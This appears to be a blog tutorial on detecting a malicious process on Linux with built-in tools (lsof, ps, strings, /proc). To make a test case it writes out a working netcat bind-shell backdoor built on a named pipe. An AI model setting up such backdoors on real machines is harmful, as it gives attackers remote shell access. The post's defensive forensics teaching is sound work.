Endpoint Live Forensics from the Command Line on Linux

In this blog post, I will provide an introduction of how to do live forensics on a Linux machine by using default command line tools.

In this blog post, I will provide an introduction of how to do live forensics on a Linux machine by using default command line tools. If you wish to do the same on a Windows machine, I have got you covered: Endpoint Live Forensics from the Command Line on Windows. This blog post is heavily inspired by the 16-hour seminar “SOC Core Skills” by John Strand (Black Hills Information Security).

In order to understand the following steps, we need to know that everything on Linux is a file, even processes. Today, we will look into /proc, which is a directory that contains a folder for each running process. Each process has its own directory with virtual files within. Spoiler alert: We are going to analyze one of those files.

Create a backdoor and connect to it

Let’s start by setting up a malicious process on the Linux system. Firstly, we create a backdoor with netcat from a terminal tab and connect back to it from a second tab.

Terminal tab 1:

  • mknod backpipe p
  • /bin/bash 0<backpipe | nc -l 2222 1>backpipe

The first command creates a file of type device pipe called backpipe, whereas the second one starts a netcat listener on port 2222 that forwards all input through the backpipe and then into a bash session. It then takes the output of the bash session and puts it back into the netcat listener. Wait what? At first, I couldn’t visualize what this command did – yes, vision is strong with this one, so I played with it. The screenshot below visualizes how this backdoor works.

The unintended use of the backdoor killed it, but we can now see its inner working.
My input, i.e., the command whoami, is rerouted to the input of bash which replies root and kills the listener.

Terminal tab 2:

  • nc 127.0.0.1 2222

In real life, you would use the IP address of the target machine instead of 127.0.0.1. This works in this situation, because the attacker and the victim machines are one and the same.

This is the intended use of the backdoor on the target (terminal tab 1). From a second tab, we connect to it. In a real attack, this second tab will be on the threat actor’s computer and will enable them to navigate and modify the target system.

Run analysis from the command line with default tools

Now everything is set up for the analysis. We open a third terminal tab, we switch to root, and list all the open connections with lsof -i -P1.

We list the open connections with lsof -i -P

This list shows two processes. PID 157 is the process running our backdoor (user: root), whereas PID 158 is the TCP connection to it, that is, the process launched from the second tab we opened (user: adhd). In a real world situation we would only the outbound connection from port 2222, because the inverse connection would be on the attacker’s machine. Next, we investigate PID 157 further by running lsof -p 157.

We investigate the possibly malicious PID 157 further.

This command lists all open files associated with this process. We can see that there is a named pipe2 called backpipe in the root folder and netcat is running from the bin directory. This is the first indication that netcat is currently running on the system. We can now go a step further and list the command that initialized these processes by running ps aux3.

List the commands that started the processes. If you look closely, you can see that I opened two terminal tabs (pts/2 where I started the listener and pts/1 where I connected back to the listener) and, after a break, opened a third one from which I’m running the analysis now.

The output of this command shows that there is a backdoor running on port 2222. From here, we take the last step and analyze the executable running process 157. We do this with the tool strings4 which confirms our suspicion that netcat was running within PID 157.

  • cd /proc/157
  • strings ./exe
In the output of strings run on exe, we see that netcat is definitely running on PID 157.

All in all, we were able to detect a fishy connection, find the PID behind it, list the command that invoked the corresponding process and analyze its executable using Linux built-in tools only.

I hope you liked this post. If you have any question, feel free to leave a comment in the comment section. Never stop learning!

  1. lsof lists all the open files. -i selects IPv4 and IPv6 files, that is, the TCP and UDP connections. -P tells the command not to guess what service is running behind a certain port.
  2. FIFO files are named pipes that are accessed as part of the file system.
  3. a: List all processes with TTY. u: With user ID or name. x: List processes without controlling TTYs
  4. strings is a tool that displays printable strings in a file.

Leave a Reply

Your email address will not be published. Required fields are marked *